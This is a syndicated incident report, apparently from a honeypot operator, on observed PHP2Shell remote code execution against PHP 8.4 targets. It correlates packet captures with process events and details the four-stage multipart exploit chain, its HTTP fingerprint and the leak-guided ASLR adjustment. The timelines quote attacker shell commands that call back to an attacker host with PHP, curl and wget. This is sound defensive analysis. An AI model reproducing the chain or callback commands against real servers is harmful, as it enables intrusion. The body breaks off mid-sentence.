返回资讯中心
外部精选
软件工程
#开发者实时流

PHP2Shell exploitation observed: packet-to-process RCE evidence

24 October 2026 · UTC · evidence acquired through 19:26–19:31 across six sensors

Hacker News 最新choult2026/10/24 · 15 天前30 分钟阅读

以下正文同步自 Hacker News 最新,版权归原站所有,已转换为易读排版。

24 October 2026 · UTC · evidence acquired through 19:26–19:31 across six sensors

Target-side packet captures and Tetragon process events correlate 35 complete execution-stage HTTP POSTs with 35 /bin/sh starts directly parented by Apache workers (uid=33) across three PHP targets. Three shell events followed traffic from 15.204.59.70 on T1; 32 followed traffic from 162.35.99.94 on T1, T2, and T3. These are two source-address clusters, not an attribution to two actors.

The requests used a four-stage multipart chain, sometimes with retries: memory pressure, memory disclosure through an oversized PHPSESSID, further memory pressure, then a target-adjusted execution stage. Fifty-two disclosure-sized cookies were logged; 51 complete responses were reconstructed in packet captures and acknowledged by the client. Representative complete chains from both source clusters and all three successful targets shared byte-identical A1/B1/A2 bodies. The B2 body varied with the target's leaked address range and the shell command, supporting the published leak-guided ASLR technique rather than a new primitive. The traffic closely matches the public HTTP-only PoC family; packet evidence does not identify the exact client or revision used.

The reviewed targets ran PHP 8.4.26 under single-worker Apache mod_php with a 128 MiB PHP memory limit. The relevant PHP errors occurred during request startup (Unknown on line 0), before application code, consistent with a PHP-engine vulnerability rather than a flaw in a particular CMS. All confirmed execution-stage requests used plaintext HTTP/80. T1–T3 label the three targets throughout this report.

The targets were disposable phpot honeypots presenting ordinary PHP-backed pages. The sensor records bidirectional network packets, Apache requests and worker PIDs, PHP errors, and Tetragon process/kernel events. We joined the packet flows to application and process records by source port, time, worker identity, and request sequence; no single alert or HTTP status was treated as proof of execution.

The acquired snapshot contains 3,459 sealed segments and 10,948 manifest-listed files (11.21 GB); all listed sizes and SHA-256 values matched their local copies, and the parsed Apache/Tetragon JSONL records had no malformed lines. The latest sealed window on each sensor ended between 19:26 and 19:31 UTC. Counts below refer to this fixed snapshot.

Episode Source IP Observed successful target(s) Disclosure-sized cookies Apache-parent shells Shell command pattern

A 15.204.59.70 T1 3 3 Same id/proof-file/wget command on all three

B 162.35.99.94 T1, T2, T3 49 3 on T1; 19 on T2; 10 on T3 Changed among PHP CLI, curl, and wget, later adding dynamic identity checks

Episode A — 15.204.59.70

The source began path probing at 13:47, sent memory-pressure requests by approximately 15:16, and produced its first confirmed Apache-parent shell at 15:35. Two further shells followed at 16:04. All three used the same final-stage request-body hash and shell command. Three disclosure-sized cookies were recorded on T1, all reconstructed as complete and TCP-acknowledged in packet capture. The command tried to write id output to a temporary proof file and web roots, then invoke wget; the web-root writes met a read-only filesystem and wget was absent. The first full packet-to-process timeline appears below.

The source appeared at 16:36 with disclosure-sized responses, cycled through repeated OOM/leak/crash attempts around 16:44–16:46, and produced its first confirmed shell at 16:46. Tetragon recorded 32 Apache-parent shell starts through 18:57: 19 on T2, ten on T3, and three on T1. Commands changed among PHP CLI, curl, and wget variants; later proof URLs embedded shell command substitutions for id -un, hostname, and uname -m. Forty-nine disclosure-sized cookies were recorded across those targets; 48 were reconstructed as complete and TCP-acknowledged. The target-dependent final-stage bodies and command changes distinguish this episode from A operationally, while the byte-identical first three request bodies link both episodes to the same exploit template.

Relationship between episodes: The shared template, boundary, body hashes, and stage order do not establish shared control. Nor do different source IPs and proof commands establish separate actors. The defensible finding is two source-address episodes using closely related tooling.

Separately, 104.28.208.84 and 144.48.4.242 sent exploit-shaped requests associated with PHP errors or worker crashes in the reviewed snapshot. Neither had an observed Apache-parent shell or disclosure-sized cookie; they are attempt indicators, not confirmed RCE sources.

The two confirmed source addresses were registered to hosting networks when checked on 24 October: 15.204.59.70 to OVH US LLC (15.204.0.0/16) and 162.35.99.94 to Interserver, Inc (162.35.96.0/19). The former's PTR, vps-b225fb62.vps.ovh.us, resolved back to its IP. The latter's PTR, vps3749638.trouble-free.net, had no confirming A record in the lookup. Network registration and PTRs describe infrastructure, not the operators behind it.

HTTP fingerprint

The successful chains used HTTP/1.1 multipart POSTs to / and /index.php, no User-Agent, and a ten-character C multipart boundary. Request-header order was Host → Content-Type → Transfer-Encoding → Connection for chunked stages and Host → Content-Type → Content-Length → Connection for fixed-length stages. The first memory-pressure request had five numbered q...=v query parameters. These characteristics were checked in representative complete packet captures from both source clusters.

The table uses complete target-side TCP reassembly from a successful T1 chain at 15:35 UTC. Decoded sizes exclude HTTP chunk framing. The same first three decoded request-body hashes were found in complete successful-chain captures from both sources and all three targets.

Body anatomy: The captured A1 body was dominated by files* fields (859 of 973 multipart parts); B1 had 900 x* fields among 918 parts; A2 had 880 files* fields among 997; B2 had 500 s* and 495 t* fields among 998. All four included PHPSESSID and PHP_SESSION_UPLOAD_PROGRESS fields. B2 also contained target-dependent address-like words and a command string; its digest changed when those values or the command changed. The fixed-body SHA-256 indicators are:

These digests are over the decoded body, not the complete TCP stream or the chunked wire representation. A1 and B1 used Transfer-Encoding: chunked; A2 and B2 used Content-Length. The attacker sometimes repeated A1/B1 before advancing. The first and third stages produced pre-script PHP errors, while B1 could produce a large cookie or crash the worker. The final request could crash the worker after starting a shell, leaving no completed Apache access entry. HTTP 200 on A1/B1/A2 is therefore not the success criterion.

The B1 digest also appears in the initial attempt-only capture report, where identical B1 bodies preceded worker crashes without confirmed RCE. It identifies a payload family, not an execution outcome by itself.

Apache recorded 52 disclosure-sized cookies: three for A on T1 and, for B, four on T1, 29 on T2, and 16 on T3. Each decoded to 819,200 bytes. The decoded values were not ordinary session IDs: they contained repeated aligned, pointer-like 64-bit words, including a dominant word repeated 1,095 times in representative leaks. Matching the cookie's SHA-256 from Apache to target-side PCAPs gave 51 complete responses with zero captured response gaps and a client ACK through the response end (T1 7/7, T2 28/29, T3 16/16). The remaining T2 capture begins mid-response; Apache recorded the cookie, but its complete packet delivery is not established by that file.

The dominant disclosed pointer differed in absolute value across representative T1, T2, and T3 leaks. An address-like word in their corresponding B2 bodies maintained the same relative difference from that value across the three targets. Along with the request sequence, this supports leak-guided adjustment to each target's randomized memory layout rather than one hard-coded address accidentally working everywhere. The public 9bie HTTP-only PoC uses the same type of relative calculation and request roles; Wiz's PHP2Shell research describes the underlying PHP upload-progress/disclosure family. The observed chain is consistent with CVE-2026-109618; these records do not establish use of a distinct CVE-2026-109619 path.

The public exploit.py revision examined on 24 October filters disclosed pointers below 0x7f0000000000. The early successful chains had no pointer-like words above that threshold in their observed cookies, so an unchanged run of that revision would not parse those leaks. Two later T3 cookies did contain qualifying pointers. The traffic therefore does not support a blanket claim that every successful run required a modified PoC; a small change, another revision, or a different client could explain the early chains. Packet captures cannot identify which implementation was used.

Episode A: first confirmed execution

The first T1 execution illustrates the evidence chain without relying on a 500 response or an alert label:

15:35:32.793 15.204.59.70:54952 A1 POST begins; complete 1,060,211-B decoded body 15:35:33 PHP: Allowed memory size of 134217728 bytes exhausted (tried to allocate 4096 bytes) in Unknown on line 0 15:35:34.127 15.204.59.70:38108 B1 POST begins; 33,128,677-B decoded body 15:35:34.205 Apache access record (request timestamp): worker PID 31; disclosure-sized Set-Cookie reported for this request 15:35:37.429 15.204.59.70:38122 A2 POST begins; 279,369-B body 15:35:37 PHP: Allowed memory size of 134217728 bytes exhausted (tried to allocate 20480 bytes) in Unknown on line 0 15:35:38.238 15.204.59.70:38126 B2 POST begins; 451,384-B body 15:35:38.673 Tetragon: apache2 → /bin/sh, UID 33; /bin/sh → /usr/bin/id 15:35:39.379 Apache: child PID 31 exited on Segmentation fault (11)

Apache logged A1, B1, and A2 on the same worker (container PID 31). Its normal B2 access line is absent because the worker died. Packet source ports and worker socket events link the sequence to the host PID that Tetragon recorded as the shell's Apache parent. The shell attempted an id proof file and web-root writes; Apache recorded Read-only file system for the web-root attempts and wget: not found for the attempted fetch. Those errors are additional evidence that the command reached a shell, while the process_exec parentage is the decisive execution observation.

The first T2 chain shows the same transition with a different command:

16:46:48.684 162.35.99.94:36836 A1 POST; same decoded-body SHA-256 as T1 16:46:50.785 162.35.99.94:36844 B1 POST; 819,200-B decoded PHPSESSID returned 16:46:56.700 162.35.99.94:36846 A2 POST /index.php; pre-script OOM 16:46:58.166 162.35.99.94:47720 B2 POST /index.php; complete 451,384-B body 16:46:59.197 Tetragon: apache2 → /bin/sh, UID 33 16:46:59.201 Tetragon: /bin/sh → /usr/local/bin/php -r ... 16:47:59 PHP CLI: file_get_contents(http://162.35.99.94:8080/pwn-[T2-honeypot-IP]) timed out 16:47:59.530 Apache: worker exited on Segmentation fault (11)

Later T2 shells used curl and wget variants. For example, at 16:50:49 Tetragon recorded apache2 → /bin/sh → /usr/bin/curl after B2, then a tcp_connect for 162.35.99.94:8080 in TCP_SYN_SENT. At 17:27:25 on T3 it recorded apache2 → /bin/sh with a wget command; Apache then emitted wget: not found and the worker crashed. At 18:55:02, the same source reached T1: the complete B2 request began at 18:55:02.387 and an Apache-parent shell followed at 18:55:02.429. Two more T1 shells followed at 18:57. These are distinct process-level observations on independent targets, not repeated parsing of one HTTP error.

These normalized records retain the observed command content, including proof paths. [T1-honeypot-IP] through [T3-honeypot-IP] replace addresses of the three targets, not the attacker endpoints. PHP and Ap

正文由 探How 从来源站点 RSS 同步,内容未经改写;遇到排版缺失或需要图片、视频时请以原文为准。

打开原文
去社区讨论 →